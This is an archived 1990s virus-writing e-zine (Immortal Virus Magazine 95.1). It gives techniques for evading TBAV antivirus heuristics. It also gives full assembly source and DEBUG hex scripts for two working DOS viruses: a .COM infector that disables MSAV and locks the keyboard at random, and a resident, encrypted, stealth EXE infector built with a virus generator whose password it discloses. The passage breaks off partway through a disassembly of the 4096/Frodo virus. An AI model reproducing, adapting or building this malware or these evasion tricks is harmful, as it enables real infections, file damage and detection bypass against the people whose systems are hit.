textfiles/virus/ivm-95.1

3377 lines
144 KiB
Groff
Raw Permalink Blame History

------------------------------Immortal Virus Magazine-------------------------
-----------------------------------Issue 95.1----------------------------------
-----------------------------TBAV fooling techiniques--------------------------
The heuristic scans we will discuss are:
- F : Suspicious file-access
- S : Search for .EXE / .COM files
- D : Direct disk access
- # : Encryption and/or debugger trap
- G : Grabage instructions
- E : Flexible entrypoint
-------------------------------------------------------------------------------
- F : Suspicious file-access
There are different ways to fool TBAV on this one.
1.) The easiest way is to add 10 or something at the MOVe instruction
and then SUBstract 10: TBAV will think you use the original MOVe.
e.g: MOV AH, 50h
SUB AH, 10h ;50h will turn into 40h Dos fnc: Write
INT 21h
2.) This is a bit tougher, you redirect int 21h to some other unused
interrupt. There is no need to unlink the new interrupt.
e.g: MOV AX, 3521h ;Get dos int address in ES:BX
INT 21H
PUSH ES ;DS == ES
POP DS
MOV AX, 2560h ;Int 60H will become int 21h
INT 21h
MOV AH, 40h ;Dos fnc: Write
INT 60h ;The new interrupt
-------------------------------------------------------------------------------
- S : Search for .EXE / .COM files
There are again a few ways to fool TBAV on this one.
1.) Somewhere in your virus is a filespec (e.g. '*.COM'), just change the
'*' into something else ('Z.COM') and when the function 3Fh or something
is called change it to a '*' again, afterwards change it to a 'Z' again.
e.g: MOV BYTE PTR [FSPC+BP],'*'
MOV AX,3F00h
INT 21h
MOV BYTE PTR [FSPC+BP],'Z'
FSPC DB 'Z.COM',0
2.) You can also use the first technique about hiding the 'F' flag.
-------------------------------------------------------------------------------
- D : Direct disk access
Once again there are a few ways to let TBAV eat his 'D' flag.
1.) Change the INT 26h realtime: Create a label or something and put
an int 21h or something, and change it to int 26h in your virus.
e.g. MOV BYTE PTR [I26L+1+BP],26h ;Change INT 21h to INT 26h
I26L: INT 21h ;Here will be the INT 26h
MOV BYTE PTR [I26L+1+BP],21h ;Change INT 26h to INT 21h
2.) You can also use the second technique about hiding the 'F' flag.
-------------------------------------------------------------------------------
- # : Encryption and/or debugger trap
Once again there are several ways to shit TBAV.
1.) For a debugger trap you can use the first techinique about the 'F' flag.
2.) Use an unlogic call stucture. First CALL the decryption routine, then
JuMP to the main virus.
e.g. CALL DC ;Call your decryption routine
JMP ST ;JuMP to the start of your virus
NOP ;To fool TBAV
ST: . ;Put your virus here
.
.
DC: RET ;Put the decryption routine here!
-------------------------------------------------------------------------------
- G : Garbage instructions
There's one thing to do to get rid of this flag.
OPTIMIZE!
e.g. You can turn turn two nops into two eXCHanGes:
NOP
NOP
will be:
XCHG AX,BX
XCHG CX,AX
or something like that.
You can also put often used routines in a CALL routine (e.g. Get Time,etc)
-------------------------------------------------------------------------------
- E : Flexible entry-point
There are many ways to avoid this, the best one is to put this little
routine at the beginning of your virus:
XCHG AX,BX ;Avoid 'G' & 'E' flags
XCHG CX,AX
CALL DELTA
DELTA: POP BP
SUB BP, OFFSET DELTA
Entrypoint will be in BP
-------------------------------------------------------------------------------
By: [Hacking Hell]------------------------------Immortal Virus Magazine-------------------------
-----------------------------------Issue 95.1----------------------------------
--------------------------The basics of a .COM infector------------------------
We'll begin with the search .COM routine of a virus.
The best way is to to use function 4Eh & 4Fh.
- Function 4Eh Find First file
Inputs: It needs a DTA set.
DS:DX = Filespec
BX = Attribute
Outputs: DTA + 1Eh = Filename + 0 byte
- Function 4Fh Find next file
Inputs: By function 4Eh or 4Fh pre-initiated DTA
Outputs: DTA + 1Eh = Filename + 0 byte
Now, the implementation technique.
I think the best way is to make a four byte jump table and an original bytes
table, the jump table exists out of an 0E9h byte, two 00h bytes and an
identification byte (eg. DB 0E9h,00h,00h,'C'), in the original bytes
table the first four bytes will be stored. First read the original bytes,
store then in the org. bytes table, append then virus at the end, calculate
the jump offset, place them in the jump table, write the jump table at the
beginning of the victim file.
- Function 3Dh Open file
Inputs: AL = Mode ( 02h = Random access )
DS:DX = Filename ( eg. DTA + 1Eh )
Outputs: AX = File-handle ( eXCHanGe to BX for other functions )
- Function 3Fh Read from file
Inputs: CX = Bytes to read
DS:DX = Destination of read
BX = File-handle
- Function 42h Set file-pointer
AL = Mode ( 00h = From SOF / 02h = From EOF)
DX:CX = Offset in file (0:0 for SOF / EOF)
- Function 40h Write into file
CX = Bytes to write
DS:DX = Offset of data to write
BX = File-handle
- Function 3Eh Close file
BX = File-handle
Now here follows the assembly source and a debug script of the Conjurer Basic
virus, created by [Hacking Hell] & [Cyborg], it's 270 bytes large and a good
example virus for the techniques you may have learned...
-------------------------------------<CUT>-------------------------------------
; Conjurer.BASIC virus...
%OUT CoNJuReR.BASIC virus by [Hacking Hell] & [Cyborg]
%OUT Appending non-descructive non-resident non-flagged virus.
%OUT Features:
%OUT - Anti trace meganism
%OUT - 99% TBAV proof (almost no flags)
%OUT - Traversal (DotDot technique)
%OUT - Little message
%OUT - 13% chance for a keyboard lock
.model tiny
.code
ORG 100h ;COM file remember?!?
dummy: db 0e9h,02h,00h ;The dummy host: jump to START
db 'C' ;Already infected marker
ret ;Exit from dummy
start: push cx ;Some junk to fool TBAV
pop bx
mov ax,0fa01h ;Let's take down MSAV!!!
mov dx,05945h
int 16h
call getdlt ;Nice way to get delta offset!
realst:
getdlt: pop bp
sub bp, offset getdlt
call encdec
jmp codest
nop ;TBAV eats '#'
codest: lea si,[orgbts+bp] ;Restore first 4 bytes
mov di,0100h
movsw
movsw
push cs ;DS <==> CS
pop ds
lea dx,[eov+bp] ;Set DTA address
mov ah,1ah
int 21h
mov ax,3501h ;Crash INT 1
sub ah,10h
mov bx,0000h
mov es,bx
int 21h
mov al,03h ;Crash INT 3
int 21h
mov ah,2ch ;13% chance to lock keyboard!
int 21h
cmp dl, 0dh
jg nolock
lockkb: mov al,82h ;Keyboard lock!
out 21h,al
nolock: mov ah,2ch ;50% chance to print message!
int 21h
cmp dl,32h
jl spread
mov ah,09h ;Bingo! print message!
lea dx, [bp+offset welcome]
int 21h
mov ah,00h ;Wait for a key!
int 16h
jmp spread
welcome db 'CoNJuReR.BSC!',07h,0ah,0dh,'$';Ever seen a DB in the middle of a file?
spread: mov byte ptr [infcnt+bp],0
spraed: mov ah,4eh ;Findfirst
lea dx,[fspec+bp] ;Filespec=*.COM
fnext: cmp byte ptr [infcnt+bp],5
je re_dta
int 21h
jc dotdot ;No files found
call infect
nextf: mov ah,4fh ;Find next file
jmp fnext
dotdot: lea dx,[offset dotspec+bp]
mov ax,3b00h
int 21h
jnc spraed
re_dta: mov ah,1ah ;Reset DTA
mov dx,0080h
int 21h
mov di,0100h ;Return control to original file!
push di
ret
fspec db '*.com',0
infcnt db 0
dotspec db '..',0
jmptbl db 0e9h,02h,00h,'C'
orgbts: db 90h,90h,90h,90h
eoe:
infect: lea dx,[eov+1eh+bp] ;Open file
mov ax,3d02h
int 21h
jc nextf ;Error opening file, next!
xchg bx,ax
mov cx,0004h ;Read first 4 bytes for check
mov ah,3fh ; if already infected!
lea dx,[orgbts+bp]
int 21h
cmp byte ptr [orgbts+bp+3],'C' ;Already infected
jz shutit
mov ax,4202h ;Goto eof
sub cx,cx ;2 byte version of mov cx,0!!
cwd ;1 byte version of mov dx,0!!
int 21h
sub ax,0003h ;Use our jmp table
mov word ptr [bp+jmptbl+1],ax
mov ah,40h ;Implend our viral code into victim
mov cx,eov-start
lea dx,[bp+start]
int 21h
mov ax,4200h ;Goto SOF
sub cx,cx
cwd
int 21h
mov ah,40h ;Write first four bytes over
mov cx,0004h ; the original
lea dx,[bp+jmptbl]
int 21h
inc byte ptr [infcnt+bp]
shutit: mov ah,3eh ;Close victim
int 21h
ret
encdec: ret ;No encryption support yet...
eov:
end dummy
-------------------------------------<CUT>------------------------------------
Now the DEBUG script for all of you who don't have an assembler!
-------------------------------------<CUT>------------------------------------
N CONJURER.COM
E 0100 E9 02 00 43 C3 51 5B B8 01 FA BA 45 59 CD 16 E8
E 0110 00 00 5D 81 ED 12 01 E8 F8 00 EB 02 90 90 8D B6
E 0120 BA 01 BF 00 01 A5 A5 0E 1F 8D 96 13 02 B4 1A CD
E 0130 21 B8 01 35 80 EC 10 BB 00 00 8E C3 CD 21 B0 03
E 0140 CD 21 B4 2C CD 21 80 FA 0D 7F 04 B0 82 E6 21 B4
E 0150 2C CD 21 80 FA 32 7C 20 B4 09 8D 96 67 01 CD 21
E 0160 B4 00 CD 16 EB 12 90 43 6F 4E 4A 75 52 65 52 2E
E 0170 42 53 43 21 07 0A 0D 24 C6 86 B2 01 00 B4 4E 8D
E 0180 96 AC 01 80 BE B2 01 05 74 16 CD 21 72 07 E8 2D
E 0190 00 B4 4F EB EE 8D 96 B3 01 B8 00 3B CD 21 73 DD
E 01A0 B4 1A BA 80 00 CD 21 BF 00 01 57 C3 2A 2E 63 6F
E 01B0 6D 00 00 2E 2E 00 E9 02 00 43 90 90 90 90 8D 96
E 01C0 31 02 B8 02 3D CD 21 72 C8 93 B9 04 00 B4 3F 8D
E 01D0 96 BA 01 CD 21 80 BE BD 01 43 74 31 B8 02 42 2B
E 01E0 C9 99 CD 21 2D 03 00 89 86 B7 01 B4 40 B9 0E 01
E 01F0 8D 96 05 01 CD 21 B8 00 42 2B C9 99 CD 21 B4 40
E 0200 B9 04 00 8D 96 B6 01 CD 21 FE 86 B2 01 B4 3E CD
E 0210 21 C3 C3
RCX
113
W
Q
-------------------------------------<CUT>------------------------------------
------------------------------------------------------------------------------
By: [Hacking Hell]------------------------------Immortal Virus Magazine--------------------------
-----------------------------------Issue 95.1----------------------------------
-----------------------------------Virus Labs----------------------------------
In this section I will test a Virus Lab, this section will return every
issue.
In this issue:
Biological Warfare v0.90<EFBFBD> by MnemoniX
Some features of this great package:
+ Resident
+ Encryption
+ (Extended) dir stealth
+ COM and/or EXE infections
+ Int 24h handler
+ Anti - Trace code
+ Traverse directory
+ Infections per run can be set to unlimited
+ Check for COM size
+ Check for COMMAND.COM
+ Random .EXE marker
+ .EXE overlay check
Some weaknesses about Biological Warfare:
- 'Log-in' password
- Easy to detect
- No 'configuration files'
The viruses can be made resident, when they are, you can make it infect files
on: Execution and/or opening of .COM / .EXE files. The encryption is pretty
good. The anti-trace code works. There really is not much to say about this
wonderfull package! Version 1.00 also has a polymorphic engine!
Score: 8.7
Btw. The log-in password is Lo-Tek
-------------------------------------<CUT>-------------------------------------
; Here is an example of a virus created by Biological Warefare:
; Features:
; - TSR
; - EXE infector
; - Extended DIR stealth
; - Encrypted
; - Spread on execution of virus
;Have Fun!
; IVM-Vir.ASM : Download IVM, it's a good magazine (WHQ: +31 (0)77-547477)
; Created with Biological Warfare - Version 0.90<EFBFBD> by MnemoniX
PING equ 0EA93h
PONG equ 080Eh
STAMP equ 25
MARKER equ 04945h
code segment
org 0
assume cs:code,ds:code
start:
db 0E9h,3,0 ; to virus
host:
db 0CDh,20h,0 ; host program
virus_begin:
db 0BBh ; decryption module
code_offset dw offset virus_code
mov di,VIRUS_SIZE / 2 + 1
decrypt:
db 02Eh,081h,2Fh ; SUB CS:[BX]
cipher dw 0
inc bx
inc bx
dec di
jnz decrypt
virus_code:
call $ + 3 ; BP is instruction ptr.
pop bp
sub bp,offset $ - 1
push ds es
cli
mov ax,PING ; mild anti-trace code
push ax
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
je no_trace
hlt
no_trace:
sti
in al,21h ; lock out & reopen keyboard
xor al,2
out 21h,al
xor al,2
out 21h,al
mov ax,PING ; test for residency
int 21h
cmp dx,PONG
je installed
mov ax,es ; Get PSP
dec ax
mov ds,ax ; Get MCB
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
mov es,word ptr ds:[12h]
push cs ; copy virus into memory
pop ds
xor di,di
mov si,bp
mov cx,(virus_end - start) / 2 + 1
rep movsw
xor ax,ax ; capture interrupts
mov ds,ax
sub word ptr ds:[413h],(MEM_SIZE+1023) / 1024
mov si,21h * 4 ; get original int 21
mov di,offset old_int_21
movsw
movsw
mov word ptr ds:[si - 4],offset new_int_21
mov ds:[si - 2],es ; and set new int 21
installed:
call activate ; activation routine
pop es ds ; restore segregs
exe_exit:
mov ax,ds ; fix up return address
add ax,10h
push ax
add ax,cs:[bp + exe_cs]
mov cs:[bp + return_cs],ax
mov ax,cs:[bp + exe_ip]
mov cs:[bp + return_ip],ax
pop ax
add ax,cs:[bp + exe_ss] ; restore stack
cli
mov ss,ax
mov sp,cs:[bp + exe_sp]
call fix_regs ; fix up registers
sti
db 0EAh ; back to host program
return_ip dw 0
return_cs dw 0
exe_cs dw -16 ; orig CS:IP
exe_ip dw 103h
exe_sp dw -2 ; orig SS:SP
exe_ss dw -16
fix_regs:
xor ax,ax
cwd
xor bx,bx
mov si,100h
xor di,di
xor bp,bp
ret
; interrupt 21 handler
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,PING ; residency test
je ping_pong
cmp ah,11h ; directory stealth
je dir_stealth
cmp ah,12h
je dir_stealth
cmp ah,4Eh ; directory stealth
je dir_stealth_2
cmp ah,4Fh
je dir_stealth_2
cmp ax,4B00h ; execute program
jne int_21_exit
jmp execute
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0
ping_pong:
mov dx,PONG
iret
dir_stealth:
call int_21 ; get dir entry
test al,al
js dir_stealth_done
push ax bx es
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
mov ax,es:[bx + 17h] ; check for infection marker
and al,31
cmp al,STAMP
jne dir_fixed
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
sbb word ptr es:[bx + 1Fh],0
dir_fixed:
pop es bx ax
dir_stealth_done:
iret
dir_stealth_2:
pushf
call dword ptr cs:[old_int_21]
jc dir_stealth_done_2
check_infect2:
push ax bx es
mov ah,2Fh
int 21h
mov ax,es:[bx + 16h]
and al,31 ; check timestamp
cmp al,STAMP
jne fixed_2
sub es:[bx + 1Ah],VIRUS_SIZE + 3
sbb word ptr es:[bx + 1Ch],0
fixed_2:
pop es bx ax
clc ; clear carry
dir_stealth_done_2:
retf 2
execute:
push ax bx cx dx si di ds es
xor ax,ax ; critical error handler
mov es,ax ; routine - catch int 24
mov es:[24h * 4],offset int_24
mov es:[24h * 4 + 2],cs
mov ax,4300h ; change attributes
int 21h
push cx dx ds
xor cx,cx
call set_attributes
mov ax,3D02h ; open file
int 21h
jc cant_open
xchg bx,ax
push cs ; CS = DS
pop ds
mov ax,5700h ; save file date/time
int 21h
push cx dx
mov ah,3Fh
mov cx,28
mov dx,offset read_buffer
int 21h
cmp word ptr read_buffer,'ZM' ; .EXE?
je infect_exe ; yes, infect as .EXE
jmp dont_infect
fix_date_time:
pop dx cx
and cl,-32 ; add time stamp
or cl,STAMP ; for directory stealth
mov ax,5701h ; restore file date/time
int 21h
close:
pop ds dx cx ; restore attributes
call set_attributes
mov ah,3Eh ; close file
int 21h
cant_open:
pop es ds di si dx cx bx ax
jmp int_21_exit ; leave
set_attributes:
mov ax,4301h
int 21h
ret
dont_infect:
pop cx dx ; can't infect, skip
jmp close
infect_exe:
cmp word ptr read_buffer[26],0
jne dont_infect ; overlay, don't infect
cmp word ptr read_buffer[16],MARKER
je dont_infect ; infected already
les ax,dword ptr read_buffer[20]
mov exe_cs,es ; CS
mov exe_ip,ax ; IP
les ax,dword ptr read_buffer[14]
mov exe_ss,ax ; SS
mov exe_sp,es ; SP
mov word ptr read_buffer[16],MARKER
mov ax,4202h ; to end of file
cwd
xor cx,cx
int 21h
push ax dx ; save file size
push bx
mov cl,12 ; calculate offsets for CS
shl dx,cl ; and IP
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,15
pop bx
sub dx,word ptr read_buffer[8]
mov word ptr read_buffer[22],dx
mov word ptr read_buffer[20],ax
add dx,100
mov word ptr read_buffer[14],dx
pop dx ax ; calculate prog size
add ax,VIRUS_SIZE + 3
adc dx,0
mov cx,512 ; in pages
div cx ; then save results
inc ax
mov word ptr read_buffer[2],dx
mov word ptr read_buffer[4],ax
mov dx,word ptr read_buffer[20]
call encrypt_code ; encrypt virus
mov ah,40h
mov cx,VIRUS_SIZE + 3
mov dx,offset encrypt_buffer
int 21h
mov ax,4200h ; back to beginning
cwd
xor cx,cx
int 21h
mov ah,40h ; and fix up header
mov cx,28
mov dx,offset read_buffer
int 21h
jmp fix_date_time ; done
courtesy_of db '[BW]',0
signature db 'Download IVM, its a good magazine (WHQ: +31 (0)77-547477)',0
birthday db 'Happy birthday [Hacking Hell] !!',0Ah,0Dh,'$',0
activate: mov ah,2ah
cmp dx,0B08h
jne exit_act
mov ah, 09h
lea dx, [offset birthday+bp]
int 21h
; Insert your routine here
exit_act: ret
encrypt_code:
push ax cx
push dx
xor ah,ah ; get time for random number
int 1Ah
mov cipher,dx ; save encryption key
pop cx
add cx,virus_code - virus_begin
mov code_offset,cx ; save code offset
push cs ; ES = CS
pop es
mov si,offset virus_begin ; move decryption module
mov di,offset encrypt_buffer
mov cx,virus_code - virus_begin
rep movsb
mov cx,VIRUS_SIZE / 2 + 1
encrypt:
lodsw ; encrypt virus code
add ax,dx
stosw
loop encrypt
pop cx ax
ret
int_24:
mov al,3 ; int 24 handler
iret
virus_end:
VIRUS_SIZE equ virus_end - virus_begin
read_buffer db 28 dup (?) ; read buffer
encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
end_heap:
MEM_SIZE equ end_heap - start
code ends
end start
-------------------------------------<CUT>-------------------------------------
N IVM-VIR.COM
E 0100 E9 03 00 CD 20 00 BB 16 00 BF 80 01 2E 81 2F 00
E 0110 00 43 43 4F 75 F6 E8 00 00 5D 81 ED 19 00 1E 06
E 0120 FA B8 93 EA 50 58 4C 4C 5B 3B C3 74 01 F4 FB E4
E 0130 21 34 02 E6 21 34 02 E6 21 B8 93 EA CD 21 81 FA
E 0140 0E 08 74 3A 8C C0 48 8E D8 81 2E 03 00 80 00 81
E 0150 2E 12 00 80 00 8E 06 12 00 0E 1F 33 FF 8B F5 B9
E 0160 83 01 F3 A5 33 C0 8E D8 83 2E 13 04 02 90 BE 84
E 0170 00 BF F2 00 A5 A5 C7 44 FC D0 00 8C 44 FE E8 43
E 0180 02 07 1F 8C D8 05 10 00 50 2E 03 86 B4 00 2E 89
E 0190 86 B2 00 2E 8B 86 B6 00 2E 89 86 B0 00 58 2E 03
E 01A0 86 BA 00 FA 8E D0 2E 8B A6 B8 00 E8 0E 00 FB EA
E 01B0 00 00 00 00 F0 FF 03 01 FE FF F0 FF 33 C0 99 33
E 01C0 DB BE 00 01 33 FF 33 ED C3 9C 2E FF 1E F2 00 C3
E 01D0 3D 93 EA 74 21 80 FC 11 74 20 80 FC 12 74 1B 80
E 01E0 FC 4E 74 46 80 FC 4F 74 41 3D 00 4B 75 03 EB 65
E 01F0 90 EA 00 00 00 00 BA 0E 08 CF E8 CC FF 84 C0 78
E 0200 28 50 53 06 B4 2F CD 21 26 80 3F FF 75 03 83 C3
E 0210 07 26 8B 47 17 24 1F 3C 19 75 0B 26 81 6F 1D 01
E 0220 03 26 83 5F 1F 00 07 5B 58 CF 9C 2E FF 1E F2 00
E 0230 72 20 50 53 06 B4 2F CD 21 26 8B 47 16 24 1F 3C
E 0240 19 75 0B 26 81 6F 1A 01 03 26 83 5F 1C 00 07 5B
E 0250 58 F8 CA 02 00 50 53 51 52 56 57 1E 06 33 C0 8E
E 0260 C0 26 C7 06 90 00 01 03 26 8C 0E 92 00 B8 00 43
E 0270 CD 21 51 52 1E 33 C9 E8 48 00 B8 02 3D CD 21 72
E 0280 36 93 0E 1F B8 00 57 CD 21 51 52 B4 3F B9 1C 00
E 0290 BA 04 03 CD 21 81 3E 04 03 4D 5A 74 2F EB 29 90
E 02A0 5A 59 80 E1 E0 80 C9 19 B8 01 57 CD 21 1F 5A 59
E 02B0 E8 0F 00 B4 3E CD 21 07 1F 5F 5E 5A 59 5B 58 E9
E 02C0 2F FF B8 01 43 CD 21 C3 59 5A EB E1 83 3E 1E 03
E 02D0 00 75 F5 81 3E 14 03 45 49 74 ED C4 06 18 03 8C
E 02E0 06 B4 00 A3 B6 00 C4 06 12 03 A3 BA 00 8C 06 B8
E 02F0 00 C7 06 14 03 45 49 B8 02 42 99 33 C9 CD 21 50
E 0300 52 53 B1 0C D3 E2 8B D8 B1 04 D3 EB 03 D3 25 0F
E 0310 00 5B 2B 16 0C 03 89 16 1A 03 A3 18 03 83 C2 64
E 0320 89 16 12 03 5A 58 05 01 03 90 83 D2 00 B9 00 02
E 0330 F7 F1 40 89 16 06 03 A3 08 03 8B 16 18 03 E8 94
E 0340 00 B4 40 B9 01 03 90 BA 20 03 CD 21 B8 00 42 99
E 0350 33 C9 CD 21 B4 40 B9 1C 00 BA 04 03 CD 21 E9 3F
E 0360 FF 5B 42 57 5D 00 44 6F 77 6E 6C 6F 61 64 20 49
E 0370 56 4D 2C 20 69 74 73 20 61 20 67 6F 6F 64 20 6D
E 0380 61 67 61 7A 69 6E 65 20 28 57 48 51 3A 20 2B 33
E 0390 31 20 28 30 29 37 37 2D 35 34 37 34 37 37 29 00
E 03A0 48 61 70 70 79 20 62 69 72 74 68 64 61 79 20 5B
E 03B0 48 61 63 6B 69 6E 67 20 48 65 6C 6C 5D 20 21 21
E 03C0 0A 0D 24 00 B4 2A 81 FA 08 0B 75 08 B4 09 8D 96
E 03D0 A0 02 CD 21 C3 50 51 52 32 E4 CD 1A 89 16 0F 00
E 03E0 59 83 C1 10 89 0E 07 00 0E 07 BE 06 00 BF 20 03
E 03F0 B9 10 00 F3 A4 B9 80 01 AD 03 C2 AB E2 FA 59 58
E 0400 C3 B0 03 CF
RCX
0304
W
Q
-------------------------------------<CUT>-------------------------------------
By: [Hacking Hell]------------------------------Immortal Virus Magazine--------------------------
-----------------------------------Issue 95.1----------------------------------
--------------------------------Other Virus Mags-------------------------------
In this issue: 40-HEX by Phalcon/Skism (Creators of PS-MPC).
This magazine is really OK. It contains a lot of USEFULL information, a lot
of virus sources / spotlights / hex-scripts, the creators put their own
PS-MPC 0.90<EFBFBD> in issue 8, that was really k00l! My main interrests in 40HEX
are most of the time the virus sources, you can get some k00l ideas out of
that. They use the normal english / american language instead of some
funky written language.
- The virus spotlights contain various information on a specific virus,
just like our spotlights.
- The virus sources / scripts are mostly direct compilable / debuggable,
so you don't have to write your own stuff in it, that's really k00l!
- 40-HEX 1 / 14 are available on our (and many other's) WHQ:
Arrested Development: +31 77-547477
Written by: The FOXMan------------------------------Immortal Virus Magazine--------------------------
-----------------------------------Issue 95.1----------------------------------
------------------------------Spotlight: 4096 / Frodo--------------------------
Isolated: January, 1990
Origin : Israel
Type : Parasitic Memory-Resident .COM and .EXE infector
Symptoms: A lot of cross-linked files, decrease of free memory,
when not loaded increase of file-size.
This huge virus was pretty smart for its time, the virus places itselve in
(high-) memory and uses a basic tunneling technique, it infects both .COM
and .EXE files, it infects on execution of .COM and .EXE files, the virus
contains a bootsector, altough this will not be written in any way onto
a disk (Patricia Hoffman says there is a bug in the virus!), if the boot-
sector is written manually to the disk, a message will appear on loading:
'FRODO LIVES', On 22 september your system will hang (Or is this the
bug?!?) this is the birthday of Bilbo and Frodo Braggin in The Lord Of The
Rings by Tolkien (Maybe the author of 4096 was a very big fan!). Also the
virus slowly crosslinks files on your harddisk, so the files will be
permanently damaged! The virus is stealth, and when the virus is loaded into
memory the filesize growth will not be seen!
-------------------------------------<CUT>-------------------------------------
_4096 segment byte public
assume cs:_4096, ds:_4096
; 4096 Virus disassembly by Phalcon/Skism, used in IVM-95-1
; Download IVM-95 it's a very good virus-magazine!
; Our WHQ: Arrested Development: +31 (0)77-547477
; Parasitic memory resident .COM and .EXE infector.
org 0
startvirus:
db 0
jmp installvirus
oldheader: ; original 1Ch bytes of the carrier file
retn
db 75h,02,44h,15h,46h,20h
db 'Copyright Bourb%}i, I'
endoldheader:
EXEflag db 00h
db 0FEh, 3Ah
int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
push bp ; set up stack frame
mov bp,sp
push ax
cmp word ptr [bp+4],0C000h ; in BIOS?
jnb foundorigint ; nope, haven't found it
mov ax,cs:DOSsegment ; in DOS?
cmp [bp+4],ax
jbe foundorigint
exitint1:
pop ax
pop bp
iret
foundorigint:
cmp byte ptr cs:tracemode,1
jz tracemode1
mov ax,[bp+4] ; save segment of entry point
mov word ptr cs:origints+2,ax
mov ax,[bp+2] ; save offset of entry point
mov word ptr cs:origints,ax
jb finishint1
pop ax
pop bp
mov ss,cs:savess ; restore the stack to its
mov sp,cs:savesp ; original state
mov al,cs:saveIMR ; Restore IMR
out 21h,al ; (enable interrupts)
jmp setvirusints
finishint1:
and word ptr [bp+6],0FEFFh ; turn off trap flag
mov al,cs:saveIMR ; and restore IMR
out 21h,al
jmp short exitint1
tracemode1:
dec byte ptr cs:instructionstotrace
jnz exitint1
and word ptr [bp+6],0FEFFh ; turn off trap flag
call saveregs
call swapvirint21 ; restore original int
lds dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
mov al,1
call setvect
call restoreregs
jmp short finishint1
getint:
push ds
push si
xor si,si ; clear si
mov ds,si ; ds->interrupt table
xor ah,ah ; cbw would be better!?
mov si,ax
shl si,1 ; convert int # to offset in
shl si,1 ; interrupt table (int # x 4)
mov bx,[si] ; es:bx = interrupt vector
mov es,[si+2] ; get old interrupt vector
; save 3 bytes if use les bx,[si]
pop si
pop ds
retn
installvirus:
mov word ptr cs:stackptr,offset topstack
mov cs:initialax,ax ; save initial value for ax
mov ah,30h ; Get DOS version
int 21h
mov cs:DOSversion,al ; Save DOS version
mov cs:carrierPSP,ds ; Save PSP segment
mov ah,52h ; Get list of lists
int 21h
mov ax,es:[bx-2] ; segment of first MCB
mov cs:DOSsegment,ax ; save it for use in int 1
mov es,ax ; es = segment first MCB
mov ax,es:[1] ; Get owner of first MCB
mov cs:ownerfirstMCB,ax ; save it
push cs
pop ds
mov al,1 ; get single step vector
call getint
mov word ptr ds:oldint1,bx ; save it for later
mov word ptr ds:oldint1+2,es; restoration
mov al,21h ; get int 21h vector
call getint
mov word ptr ds:origints,bx
mov word ptr ds:origints+2,es
mov byte ptr ds:tracemode,0 ; regular trace mode on
mov dx,offset int1 ; set new int 1 handler
mov al,1
call setvect
pushf
pop ax
or ax,100h ; turn on trap flag
push ax
in al,21h ; Get old IMR
mov ds:saveIMR,al
mov al,0FFh ; disable all interrupts
out 21h,al
popf
mov ah,52h ; Get list of lists
pushf ; (for tracing purposes)
call dword ptr ds:origints ; perform the tunnelling
pushf
pop ax
and ax,0FEFFh ; turn off trap flag
push ax
popf
mov al,ds:saveIMR ; reenable interrupts
out 21h,al
push ds
lds dx,dword ptr ds:oldint1
mov al,1 ; restore int 1 to the
call setvect ; original handler
pop ds
les di,dword ptr ds:origints; set up int 21h handlers
mov word ptr ds:oldint21,di
mov word ptr ds:oldint21+2,es
mov byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
mov word ptr ds:int21store,offset otherint21
mov word ptr ds:int21store+2,cs
call swapvirint21 ; activate virus in memory
mov ax,4B00h
mov ds:checkres,ah ; set resident flag to a
; dummy value
mov dx,offset EXEflag+1 ; save EXE flag
push word ptr ds:EXEflag
int 21h ; installation check
; returns checkres=0 if
; installed
pop word ptr ds:EXEflag ; restore EXE flag
add word ptr es:[di-4],9
nop ; !?
mov es,ds:carrierPSP ; restore ES and DS to their
mov ds,ds:carrierPSP ; original values
sub word ptr ds:[2],(topstack/10h)+1
; alter top of memory in PSP
mov bp,ds:[2] ; get segment
mov dx,ds
sub bp,dx
mov ah,4Ah ; Find total available memory
mov bx,0FFFFh
int 21h
mov ah,4Ah ; Allocate all available memory
int 21h
dec dx ; go to MCB of virus memory
mov ds,dx
cmp byte ptr ds:[0],'Z' ; is it the last block?
je carrierislastMCB
dec byte ptr cs:checkres ; mark need to install virus
carrierislastMCB:
cmp byte ptr cs:checkres,0 ; need to install?
je playwithMCBs ; nope, go play with MCBs
mov byte ptr ds:[0],'M' ; mark not end of chain
playwithMCBs:
mov ax,ds:[3] ; get memory size controlled
mov bx,ax ; by the MCB
sub ax,(topstack/10h)+1 ; calculate new size
add dx,ax ; find high memory segment
mov ds:[3],ax ; put new size in MCB
inc dx ; one more for the MCB
mov es,dx ; es->high memory MCB
mov byte ptr es:[0],'Z' ; mark end of chain
push word ptr cs:ownerfirstMCB ; get DOS PSP ID
pop word ptr es:[1] ; make it the owner
mov word ptr es:[3],160h ; fill in the size field
inc dx
mov es,dx ; es->high memory area
push cs
pop ds
mov cx,(topstack/2) ; zopy 0-1600h to high memory
mov si,offset topstack-2
mov di,si
std ; zopy backwards
rep movsw
cld
push es ; set up stack for jmp into
mov ax,offset highentry ; virus code in high memory
push ax
mov es,cs:carrierPSP ; save current PSP segment
mov ah,4Ah ; Alter memory allocation
mov bx,bp ; bx = paragraphs
int 21h
retf ; jmp to virus code in high
highentry: ; memory
call swapvirint21
mov word ptr cs:int21store+2,cs
call swapvirint21
push cs
pop ds
mov byte ptr ds:handlesleft,14h ; reset free handles count
push cs
pop es
mov di,offset handletable
mov cx,14h
xor ax,ax ; clear handle table
rep stosw
mov ds:hideclustercountchange,al ; clear the flag
mov ax,ds:carrierPSP
mov es,ax ; es->PSP
lds dx,dword ptr es:[0Ah] ; get terminate vector (why?)
mov ds,ax ; ds->PSP
add ax,10h ; adjust for PSP
add word ptr cs:oldheader+16h,ax ; adjust jmp location
cmp byte ptr cs:EXEflag,0 ; for PSP
jne returntoEXE
returntoCOM:
sti
mov ax,word ptr cs:oldheader; restore first 6 bytes of the
mov ds:[100h],ax ; COM file
mov ax,word ptr cs:oldheader+2
mov ds:[102h],ax
mov ax,word ptr cs:oldheader+4
mov ds:[104h],ax
